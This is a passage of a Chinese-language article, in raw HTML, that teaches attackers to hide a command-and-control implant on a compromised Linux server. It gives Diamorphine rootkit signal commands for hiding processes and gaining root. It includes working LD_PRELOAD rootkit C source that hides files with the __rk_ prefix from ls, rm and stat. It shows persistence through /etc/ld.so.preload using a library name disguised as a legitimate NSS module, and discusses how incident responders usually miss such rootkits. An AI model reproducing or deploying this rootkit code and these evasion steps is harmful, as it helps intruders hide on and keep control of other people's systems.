0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">第三个 hook 是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">PF_INVISIBLE</span></code><span leaf="">：Diamorphine 在被隐藏的进程上设置 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">task_struct-&gt;flags |= PF_INVISIBLE</span></code><span leaf="">。然后 hook </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/proc</span></code><span leaf="">上的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">sys_getdents</span></code><span leaf="">来过滤带这个 flag 的任务。进程继续运行，继续消耗 CPU，继续持有打开的 socket，但对系统其余部分来说它不存在。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">实际使用：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf=""># 查找 C2 的 PID</span><br/></span><span leaf="">pgrep kworker_tls</span><span style="color: rgb(106, 115, 125);"><span leaf=""># 示例：145301</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 隐藏进程</span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">kill</span></span><span leaf=""> -31 145301</span><span style="color: rgb(106, 115, 125);"><span leaf=""># 现在 ps, htop, top, auditd 都不显示</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 切换模块（在 lsmod 中隐藏/显示）</span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">kill</span></span><span leaf=""> -63 145301</span><span style="color: rgb(106, 115, 125);"><span leaf=""># 给任意进程 root</span><br/></span><span style="color: rgb(0, 92, 197);"><span leaf="">kill</span></span><span leaf=""> -64 </span><span style="color: rgb(215, 58, 73);"><span leaf="">&lt;</span></span><span leaf="">pid</span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># 即时 uid=0(root)，无需 sudo</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">注意：如果你对 C2 自身的 PID 发送 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill -31</span></code><span leaf="">，C2 会崩溃。Diamorphine 的 signal hook 和 C2 的 SSL errno 处理之间存在不兼容。对 C2 的 PID 发 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">kill -31</span></code><span leaf="">会以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SSL_rselect_errno</span></code><span leaf="">崩溃。解决方案很简单：之后再隐藏进程，永远不要直接对它发信号。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">另一个注意事项：LKM 是为特定内核版本编译的。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">apt upgrade</span></code><span leaf="">会搞坏一切。如果管理员更新了内核，rootkit 就不再工作。但这不太重要，因为如果管理员更新内核，他大概率在重装整台服务器。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">还有内存取证。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/sys/module/diamorphine</span></code><span leaf="">如果不显式隐藏，它仍然存在。而且 Volatility 的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">linux_hidden_modules</span></code><span leaf="">插件即使模块被隐藏也能找到。但这需要内存转储，需要一个知道自己在做什么的人，需要时间。实际中，几乎没人在 IR 期间做这件事。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><h3 style=" font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text; font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255); "><span leaf="">[ 0x06 ] 层级 3 — 幽灵文件系统（LD_PRELOAD）</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">Diamorphine 在内核层隐藏东西。但有个问题：如果管理员运行一个静态编译的二进制呢？静态编译的 Busybox 不经过 libc，它直接发 syscall。那又怎样？Diamorphine 的 hook 能捕获到，因为它在内核里，没错。但如果有另一个 rootkit 检测器呢？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">解决方案是冗余。LD_PRELOAD 是动态链接器的一个变量，它会在所有其他 library 之前加载一个 library。如果你把自己 library 的路径放到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/ld.so.preload</span></code><span leaf="">，系统上所有动态二进制都会在任何其他东西之前加载它。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个 library hook 了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readdir</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">access</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">open</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">fopen</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">stat</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">lstat</span></code><span leaf="">、</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">unlink</span></code><span leaf="">。任何列出、打开或删除带 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">前缀文件的尝试都返回 ENOENT（文件不存在）：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(106, 115, 125);"><span leaf="">// rootkit.c — 隐藏带 __rk_ 前缀的文件</span><br/></span><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">define</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">_GNU_SOURCE</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;dlfcn.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;string.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;dirent.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">include</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&lt;errno.h&gt;</span></span><br/><span leaf="">#</span><span style="color: rgb(215, 58, 73);"><span leaf="">define</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">PREFIX</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;__rk_&#34;</span></span><span style="color: rgb(106, 115, 125);"><span leaf="">// hook readdir — 在目录列表中隐藏条目</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">dirent</span></span><span leaf=""> *</span><span style="color: rgb(111, 66, 193);"><span leaf="">readdir</span></span><span leaf="">(DIR *dirp) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">dirent</span></span><span leaf=""> *(*orig_readdir)(DIR *) = </span><span style="color: rgb(0, 92, 197);"><span leaf="">dlsym</span></span><span leaf="">(RTLD_NEXT, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;readdir&#34;</span></span><span leaf="">);</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">struct</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">dirent</span></span><span leaf=""> *d;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">while</span></span><span leaf=""> ((d = </span><span style="color: rgb(0, 92, 197);"><span leaf="">orig_readdir</span></span><span leaf="">(dirp)) != </span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">strncmp</span></span><span leaf="">(d-&gt;d_name, PREFIX, </span><span style="color: rgb(0, 92, 197);"><span leaf="">5</span></span><span leaf="">) == </span><span style="color: rgb(0, 92, 197);"><span leaf="">0</span></span><span leaf="">) </span><span style="color: rgb(215, 58, 73);"><span leaf="">continue</span></span><span leaf="">;</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">break</span></span><span leaf="">;</span><br/><span leaf="">    }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> d;</span><br/><span leaf="">}</span><span style="color: rgb(106, 115, 125);"><span leaf="">// hook access, open, fopen — 对 __rk_ 文件返回 ENOENT</span><br/></span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span style="color: rgb(111, 66, 193);"><span leaf="">access</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *path, </span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf=""> mode) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">strstr</span></span><span leaf="">(path, PREFIX)) { errno = ENOENT; </span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> -</span><span style="color: rgb(0, 92, 197);"><span leaf="">1</span></span><span leaf="">; }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> ((</span><span style="color: rgb(0, 92, 197);"><span leaf="">int</span></span><span leaf=""> (*)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">*, </span><span style="color: rgb(215, 58, 73);"><span leaf="">int</span></span><span leaf="">))</span><span style="color: rgb(0, 92, 197);"><span leaf="">dlsym</span></span><span leaf="">(RTLD_NEXT, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;access&#34;</span></span><span leaf="">))(path, mode);</span><br/><span leaf="">}</span><br/><span style="color: rgb(0, 92, 197);"><span leaf="">FILE</span></span><span leaf=""> *</span><span style="color: rgb(111, 66, 193);"><span leaf="">fopen</span></span><span leaf="">(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *path, </span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf=""> *mode) {</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">if</span></span><span leaf=""> (</span><span style="color: rgb(0, 92, 197);"><span leaf="">strstr</span></span><span leaf="">(path, PREFIX)) { errno = ENOENT; </span><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span style="color: rgb(0, 92, 197);"><span leaf="">NULL</span></span><span leaf="">; }</span><br/><span style="color: rgb(215, 58, 73);"><span leaf="">return</span></span><span leaf=""> ((</span><span style="color: rgb(0, 92, 197);"><span leaf="">FILE</span></span><span leaf=""> *(*)(</span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">*, </span><span style="color: rgb(215, 58, 73);"><span leaf="">const</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">char</span></span><span leaf="">*))</span><span style="color: rgb(0, 92, 197);"><span leaf="">dlsym</span></span><span leaf="">(RTLD_NEXT, </span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;fopen&#34;</span></span><span leaf="">))(path, mode);</span><br/><span leaf="">}</span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls</span></code><span leaf="">走 libc，libc 调 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readdir</span></code><span leaf="">，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">readdir</span></code><span leaf="">被 hook 了，hook 过滤掉 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">文件然后正常返回其余结果。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">rm</span></code><span leaf="">尝试对一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">__rk_</span></code><span leaf="">文件调用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">unlink()</span></code><span leaf="">？返回 ENOENT。&#34;文件未找到&#34;。试 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">stat</span></code><span leaf="">？ENOENT。试 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">open</span></code><span leaf="">？ENOENT。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">持久化：</span></p><pre style="font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 19px;background-color: rgb(246, 248, 250);font-size: 13px;overflow: auto;padding: 16px;border-radius: 3px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);"><code style="white-space:pre-wrap;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: inherit;margin: 0px;padding: 0px;background: none;border-radius: 3px;border: medium;"><span style="color: rgb(0, 92, 197);"><span leaf="">echo</span></span><span style="color: rgb(0, 56, 120);"><span leaf="">&#34;/usr/lib/x86_64-linux-gnu/__rk_libnss_files_compat.so&#34;</span></span><span style="color: rgb(215, 58, 73);"><span leaf="">&gt;</span></span><span leaf=""> /etc/ld.so.preload</span><span style="color: rgb(106, 115, 125);"><span leaf=""># 现在所有动态二进制都加载 rootkit</span></span><span style="color: rgb(106, 115, 125);"><span leaf=""># ls, find, cat, rm, grep — 全部被 hook</span></span></code></pre><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">你会问：但如果管理员运行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">cat /etc/ld.so.preload</span></code><span leaf="">，他能看到 library 的路径。这不是很明显吗？</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">确实能看到。但路径指向的是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libnss_files_compat.so</span></code><span leaf="">。NSS modules 是合法的 library，位于 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/usr/lib/x86_64-linux-gnu/</span></code><span leaf="">。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libnss_files.so.2</span></code><span leaf="">是解析 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/hosts</span></code><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">/etc/passwd</span></code><span leaf="">的默认模块。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">libnss_files_compat.so</span></code><span leaf="">看起来像是这个模块的一个 &#34;compat&#34; 变体。管理员扫一眼 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ls /usr/lib/x86_64-linux-gnu/</span></code><span leaf="">不会起疑。（而这正是我们希望的。）</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 